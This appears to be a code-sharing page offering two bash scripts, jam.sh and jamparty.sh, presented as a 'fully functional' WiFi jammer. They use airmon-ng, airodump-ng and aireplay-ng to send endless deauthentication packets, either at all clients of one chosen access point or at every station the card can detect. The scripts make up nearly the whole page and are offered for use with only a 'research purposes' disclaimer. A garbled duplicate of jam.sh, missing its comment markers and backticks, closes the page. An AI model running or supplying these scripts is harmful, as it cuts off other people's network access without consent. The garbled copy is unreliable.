A fully functional general purpose WiFi Jammer, for research purposes. Use it at your own risk. Inspired by https://code.google.com/p/wifijammer/downloads/detail?name=wifijammer_0.1.sh and http://julianoliver.com/output/log_2014-05-30_20-52.

jam.sh

#!/bin/bash
# Targeted jammer

NIC=$1      # Your wireless NIC
BSSID=$2    # Your target BSSID

if [ "$NIC" == "" ]; then
    echo "No NIC defined."
    exit 1
fi

if [ "$BSSID" == "" ]; then
    echo "No BSSID defined."
    exit 1
fi

airmon-ng stop mon0     # Pull down any lingering monitor devices
airmon-ng start $NIC    # Start a monitor device
WIFI=mon0               # Default monitor card name after airmon-ng start

# get the channel from target BSSID
CHANNEL=`iwlist $NIC scan | grep "$BSSID" -A 1 | grep Channel | cut -d: -f 2`

rm *.csv 2> /dev/null
xterm -fn fixed -geom -0-0 -title "Scanning specified channel" -e "airodump-ng -c $CHANNEL -w airodumpoutput $WIFI" 2>/dev/null &
sleep 3

# Removes temp files that are no longer needed
rm *.cap 2>/dev/null
rm *.kismet.csv 2>/dev/null
rm *.netxml 2>/dev/null

mkdir stationlist 2>/dev/null
rm stationlist/*.txt 2>/dev/null

FILE="airodumpoutput*.csv"

while [ x1 ];do
    sleep 5s

    echo "Scanning for new stations..."
    LINES=`wc -l $FILE | cut -d' ' -f 1`
    STATIONS=`grep "Station MAC" $FILE -A $LINES --text | grep "$BSSID" | cut -d, -f 1`

    if [ "$STATIONS" != "" ]; then
        array=($STATIONS)
        for station in "${array[@]}"
        do
            if [ ! -e stationlist/"$station".txt ];then
                echo "Jamming station: $station"
                xterm -fn fixed -geom -0-0 -title "Jamming $station" -e "aireplay-ng --deauth 0 -a $BSSID -c $station $WIFI --ignore-negative-one" &
                touch "stationlist/$station.txt"
            fi
        done
    fi
done

jamparty.sh

#!/bin/bash
# Jamms all devices it can detect.

NIC=$1      # Your wireless NIC
CHANNEL=$2  # Channel to silence, defaults to all

if [ "$NIC" == "" ]; then
    echo "No NIC defined."
    exit 1
fi

airmon-ng stop mon0     # Pull down any lingering monitor devices
airmon-ng start $NIC    # Start a monitor device
WIFI=mon0               # Default monitor card name after airmon-ng start

rm *.csv 2> /dev/null

if [ "$CHANNEL" == "" ]; then
    echo "No CHANNEL defined. Defaulting to all channels!"
    xterm -fn fixed -geom -0-0 -title "Scanning specified channel" -e "airodump-ng -w airodumpoutput $WIFI" 2>/dev/null &
else
    xterm -fn fixed -geom -0-0 -title "Scanning specified channel" -e "airodump-ng -c $CHANNEL -w airodumpoutput $WIFI" 2>/dev/null &
fi

sleep 3

# Removes temp files that are no longer needed
rm *.cap 2>/dev/null
rm *.kismet.csv 2>/dev/null
rm *.netxml 2>/dev/null

mkdir stationlist 2>/dev/null
rm stationlist/*.txt 2>/dev/null

FILE="airodumpoutput*.csv"

while [ x1 ];do
    sleep 5s

    echo "Scanning for new stations..."
    LINES=`wc -l $FILE | cut -d' ' -f 1`
    STATIONS=`grep "Station MAC" $FILE -A $LINES --text | grep -v "Station MAC" | cut -d, -f 1,6 | grep -v "not associated" | tr -d ' '`
    echo "- $STATIONS -"
    if [ "$STATIONS" != "" ]; then

        sanitize=`echo $STATIONS | grep Binaryfile`
        if [ "$sanitize" != "" ]; then
            continue
        fi

        array=($STATIONS)
        for stationpair in "${array[@]}"
        do
            station=`echo $stationpair | cut -d',' -f 1 | tr -d [:space:]`
            bssid=`echo $stationpair | cut -d',' -f 2 | tr -d [:space:]`
            control=`echo $stationpair | tr , _`
            if [ "$bssid" != "" ]; then
                if [ "$station" != "" ]; then
                    if [ ! -e stationlist/"$control".txt ];then
                        echo "Jamming station: $station at bssid: $bssid"
                        xterm -fn fixed -geom -0-0 -title "Jamming $station" -e "touch stationlist/$control.txt && aireplay-ng --deauth 0 -a $bssid -c $station $WIFI --ignore-negative-one && rm stationlist/$control.txt" &
                    fi
                fi
            fi
        done
    fi
done

What is wifi jamer

#!/bin/bash

Targeted jammer

NIC=$1 # Your wireless NIC
BSSID=$2 # Your target BSSID

if [ "$NIC" == "" ]; then
echo "No NIC defined."
exit 1
fi

if [ "$BSSID" == "" ]; then
echo "No BSSID defined."
exit 1
fi

airmon-ng stop mon0 # Pull down any lingering monitor devices
airmon-ng start $NIC # Start a monitor device
WIFI=mon0 # Default monitor card name after airmon-ng start

get the channel from target BSSID

CHANNEL=iwlist $NIC scan | grep "$BSSID" -A 1 | grep Channel | cut -d: -f 2

rm *.csv 2> /dev/null
xterm -fn fixed -geom -0-0 -title "Scanning specified channel" -e "airodump-ng -c $CHANNEL -w airodumpoutput $WIFI" 2>/dev/null &
sleep 3

Removes temp files that are no longer needed

rm *.cap 2>/dev/null
rm *.kismet.csv 2>/dev/null
rm *.netxml 2>/dev/null

mkdir stationlist 2>/dev/null
rm stationlist/*.txt 2>/dev/null

FILE="airodumpoutput*.csv"

while [ x1 ];do
sleep 5s

echo "Scanning for new stations..."
LINES=`wc -l $FILE | cut -d' ' -f 1`
STATIONS=`grep "Station MAC" $FILE -A $LINES --text | grep "$BSSID" | cut -d, -f 1`

if [ "$STATIONS" != "" ]; then
    array=($STATIONS)
    for station in "${array[@]}"
    do
        if [ ! -e stationlist/"$station".txt ];then
            echo "Jamming station: $station"
            xterm -fn fixed -geom -0-0 -title "Jamming $station" -e "aireplay-ng --deauth 0 -a $BSSID -c $station $WIFI --ignore-negative-one" &
            touch "stationlist/$station.txt"
        fi
    done
fi

done